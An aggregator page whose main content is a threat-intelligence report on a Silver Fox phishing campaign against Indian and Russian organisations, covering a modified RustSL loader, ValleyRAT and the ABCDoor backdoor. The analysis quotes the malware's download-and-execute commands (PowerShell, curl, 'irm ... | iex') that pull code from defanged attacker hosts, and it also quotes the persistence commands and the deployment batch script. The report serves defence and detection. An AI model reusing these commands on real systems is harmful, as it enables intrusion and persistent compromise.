Cybersecurity & cyberwarfare ha ricondiviso questo.

Riflessione su Bluesky


Non mi piacciono:

  • i social commerciali;
  • i social centralizzati;
  • i social che danno spazio (per di più avallandole con pratiche di ufficializzazione) a strutture antidemocratiche e violente.

Perciò:

  • non intendo creare alcun account Bluesky;
  • non intendo pubblicare nulla in Bluesky neanche utilizzando il bridge.

Tuttavia non mi piace isolarmi completamente, perciò a malincuore e in modo limitato seguirò qualche account che da Bluesky pubblica nel Fediverso attraverso il bridge ed eventualmente boosterò qualche suo toot.

D'altronde mi sto già comportando così riguardo agli account #Threads.

#Bluesky

Questa voce è stata modificata (1 mese fa)
Cybersecurity & cyberwarfare ha ricondiviso questo.

Large-scale #Roblox hacking operation shut down by Ukrainian authorities
securityaffairs.com/191500/cyb…
#securityaffairs #hacking

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India


The media in this post is not displayed to visitors. To view it, please log in.

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign


In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia
Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave
Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive
Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India
Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar
Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email
PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader


The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project
Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL


This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module


The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code
The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format


The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:
<RSL_START>rsl_encrypted_payload<RSL_END>
If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:
char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];
Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:
def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
buf = bytearray(data)
xor_key = sgn_key & 0xFF

for _ in range(sgn_iterations):
k = xor_key
for i in range(len(buf)):
dec = buf[i] ^ k

if k & 1:
k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
else:
k = (dec ^ (k >> 1)) & 0xFF

buf[i] = dec

return bytes(buf)
The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload
    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage
    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).


The guard.rs module


Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net


Phantom Persistence


We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:
[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp] Phantom Persistence Module (Hijack Mode)
[unix_timestamp] ==========================================
[unix_timestamp]

Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads


During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader
Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module
Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration
End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry keyDescription
HKCU:\Console\0For x86-based modules
HKCU:\Console\1For x64-based modules
HKCU:\Console\IpDateHardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_infoFinal configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules


The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key valueModule nameLibrary MD5 hashCompiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0保86.dll4a5195a38a458cdd2c1b5ab13af3b3932025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0保86.dlle66bae6e8621db2a835fa6721c3e5bbe2025-12-04 04:39:32
2375193669e243e830ef5794226352e7保86.dll_bine66bae6e8621db2a835fa6721c3e5bbe2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions
Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive
Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:
cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"
The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.
@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor


The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point
Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient
    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names
Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:
"role": "client",
"device_info": {
"device_name": device_name,
"os_name": os_name,
"os_version": os_version,
"os_release": os_release,
"device_id": device_id,
"install_channel": "<channel_name_from_registry>", # optional field
"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version
The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:
device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()
First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:
powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"
The existing ABCDoor process is then forcibly terminated.

ABCDoor versions


Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

VersionCompiled date (UTC)Key updatesABCDoor .pyd MD5 hash
1212024.12.19 18:27:11– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
– No OOP used
– Registry persistence
5b998a5bc5ad1c550564294034d4a62c
1432025.02.04 01:15:00Client updates
– Task scheduler persistence
– OOP implementation (classes)
– Clipboard management
– Process management
– Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
1522025.04.01 15:39:36– DPAPI encryption functions
– Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
1542025.05.09 13:36:24– Implementation of installation channels
– Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
1562025.08.11 13:36:10– Retrieval and logging of initial installation time to the registrya543b96b0938de798dd4f683dd92a94a
1572025.08.28 14:23:57– Use of DDA source in ffmpeg for monitor screen broadcastingfa08b243f12e31940b8b4b82d3498804
1572025.09.23 11:38:17– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods


Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

  • C++ stager
    The file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stager
    The file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"
    This script downloaded the ABCDoor archive and launched it.Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:
  • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
    • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
    • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb


  • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
  • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
  • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
  • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

  • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
  • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
  • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
  • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
  • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
  • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

  • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
  • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
  • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
  • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
  • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives
Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script
SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script
The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader
Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code
Log fragments gathered from throughout the JS code

Victims


As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)
The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion


In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Indicators of compromise


Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
